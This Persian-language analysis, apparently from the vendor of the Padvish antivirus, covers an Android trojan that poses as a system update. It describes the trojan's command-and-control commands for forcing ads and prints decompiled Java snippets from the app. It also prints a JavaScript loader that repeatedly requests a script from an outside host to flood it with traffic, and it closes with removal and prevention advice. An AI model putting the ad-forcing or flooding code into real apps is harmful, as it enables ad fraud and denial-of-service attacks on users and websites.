شرح کلی
نوع: تروجان (Trojan)
اسامی بدافزار:
Trojan.Android.HiddenAds.DDOS
درجه تخریب: متوسط
میزان شیوع: متوسط
تروجان(Trojan) چیست؟
تروجانها نوعی از بدافزار محسوب میشوند که خود را در قالب یک نرمافزار سالم و قانونی نشان میدهند و بسیار شبیه نرمافزارهای مفید و کاربردی رفتار میکنند. اما هنگامی که اجرا میشوند خرابیهای زیادی را برای سیستم ایجاد میکنند. نرمافزارهای دانلود شده از اینترنت، جاسازی شدن در متن HTML، ضمیمه شدن به یک ایمیل و غیره از جمله راههای ورود تروجانها به سیستم هستند. تروجانها برخلاف ویروسها و کرمهای کامپیوتری قادر به تکثیر خود نیستند.
خانواده بدافزاری HiddenAds چیست؟
بدافزاری با عنوان “بهروزرسانی اندروید” از طریق وب سایتهایی که برای دانلود برنامههای اندرویدی هستند و همچنین برخی از مارکتهای اندرویدی، در دسترس کاربران قرار گرفته است. از آنجایی که آیکون آن شبیه به برنامههای سیستمی است، بسیاری از کاربران به عنوان برنامه خطرناک به آن مشکوک نمیشوند. اما برخلاف آنچه بهنظر میرسد، برنامهای برای اجرای دستورات مخرب در گوشی کاربر است. این برنامه هر ۱۵۰ دقیقه یک بار به سرور فرماندهی و کنترل خود (C&C) متصل شده و دستورات مختلفی را دریافت و اجرا میکند.
توضیحات فنی
فعالیت اصلی برنامه به صورت یک وب ویو (web view) بارگزاری میشود. اطلاعات مربوط به بخش تنظیمات برنامه در فایل پایگاه داده برنامه ذخیره شده است و در هنگام راهاندازی برنامه از آن فایل خوانده میشود. این اطلاعات با فرمت xml ذخیره شده و تا زمانی که برنامه از روی سیستم عامل حذف نشده باشد و یا کاربر به صورت دستی در قسمت تنظیمات برنامهها دیتای برنامه را حذف نکند، باقی میماند. این بدافزار با دریافت دستوراتی از سمت سرور خود که به صورت یک فایل json است، عملیات مخربی را در گوشی کاربر انجام میدهد.
درصورتی که مقدار کلید ما برابر “parsejson” باشد، دستورات زیر اجرا میشوند:
- “Key = “showAdMobAds: هدف بدافزار نمایش تبلیغات Admob است:
میدانیم که :گوگل Admob پلتفرمی است که کسب درآمد از برنامه را برای توسعه دهندگان و سازندگان اپلیکیشن بسیار آسان میکند. این پلتفرم با استفاده از ترکیب سه عامل تبلیغکنندگان جهانی، فرمتهای تبلیغاتی خلاقانه و تکنولوژی پیشرفته کسب درآمد از تبلیغات، ارزش هر تبلیغ و بازدید را به حداکثر بازدهی میرساند.
protected void onCreate(BundleparamBundle)
{
super.onCreate(paramBundle);
setContentView(2131296284);
paramBundle=Settings.getSettingsFromPreferences(this);
MobileAds.initialize(this,paramBundle.adMobAdId);
new CountDownTimer(10000L,1000L)
{
public void onFinish()
{
ShowAdMobAdsActivity.this.initializeAd(this.val$settings);
}
public void onTick(longparamAnonymousLong){}
}.start();
}
- “Key = “showStartAppAds: هدف بدافزار نمایش تبلیغات در مرورگر پیش فرض گوشی کاربر است.
- “Key = “showUrlAds: هدف بدافزار نمایش تبلیغات در مرورگر گوشی کاربر است.
public class ShowUrlAdsActivity
extends Activity
{
protected void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2131296284);
paramBundle = Settings.getSettingsFromPreferences(this);
if (!TextUtils.isEmpty(paramBundle.urlAdUrl))
{
showBrowser(paramBundle.urlAdUrl);
return;
}
finish();
}
protected void showBrowser(String paramString)
{
Intent localIntent = new Intent("android.intent.action.VIEW");
localIntent.setData(Uri.parse(paramString));
localIntent.addFlags(268435456);
if (localIntent.resolveActivity(getPackageManager()) != null) {
startActivity(localIntent);
}
finish();
}
}
- “Key = “showRateAppDialog: هدف بدافزار نمایش صفحه برنامه در فروشگاه گوگل پلی است تا رتبه برنامه در مارکت مشخص شود.
در نهایت یکی از مهمترین اهداف این بدافزار حمله منع دسترسی به سرویس است:
این کار با قرار دادن آدرس یک وب سایت مشخص “http://i-updater.com/test.js?v=” برای اتصال مداوم برنامه به آن انجام میگیرد. با اتصال مکرر برنامه به این آدرس، بار ترافیکی ارسالی به این سایت بالا رفته و دسترسی به آن را محدود میکند. بدافزارنویس با جایگذاری یک کد جاوا اسکریپت در یک صفحه HTML، به این هدف دست مییابد. در مرحله اول، وضعیت Wifi گوشی بررسی میشود و در صورتی که اتصال برقرار باشد فایل HTML را از مسیر مشخص شده در فولدر assets خوانده و کد جاوا اسکریپت موجود را در وب ویو بارگزاری میکند. به همین واسطه است که ارتباط با آدرس موجود در این فایل جاوا اسکریپت مرتبا و در هر ثانیه برقرار میشود و آن را مورد حمله قرار میدهد.
کد جاوا اسکریپت آلوده:
<script type="text/javascript">
(function(){
var randomh=Date.now();
var e = document.getElementsByTagName("script")[0];
var d = document.createElement("script");
d.src ="http://i-updater.com/test.js?v="+randomh+"";
d.type ="text/javascript";
d.async =true;
d.defer =true;
e.parentNode.insertBefore(d,e);
})();
</script>
روش مقابله و پاکسازی سیستم
برای اطمینان خاطر از عدم آلودگی دستگاه، آنتیویروس پادویش را نصب و فایل پایگاه داده آن را بهروز نگه دارید و اسکن آنتی ویروس را انجام دهید.
روشهای پیشگیری از آلوده شدن گوشی:
۱. از دانلود و نصب برنامه از منابع و مارکتهای موبایلی نامعتبر خودداری کنید.
۲. هنگام نصب برنامههای موبایلی، به مجوزهای درخواستی دقت کنید.
۳. از فایلها و اطلاعات ذخیره شده در گوشی، پشتیبانگیری مداوم انجام دهید.
۴. از نسخههای غیررسمی برنامهها استفاده نکنید. برنامههایی مانند تلگرام و اینستاگرام نسخههای غیررسمی زیادی دارند و بیشتر آنها از طریق کانالهای تلگرامی انتشار مییابند.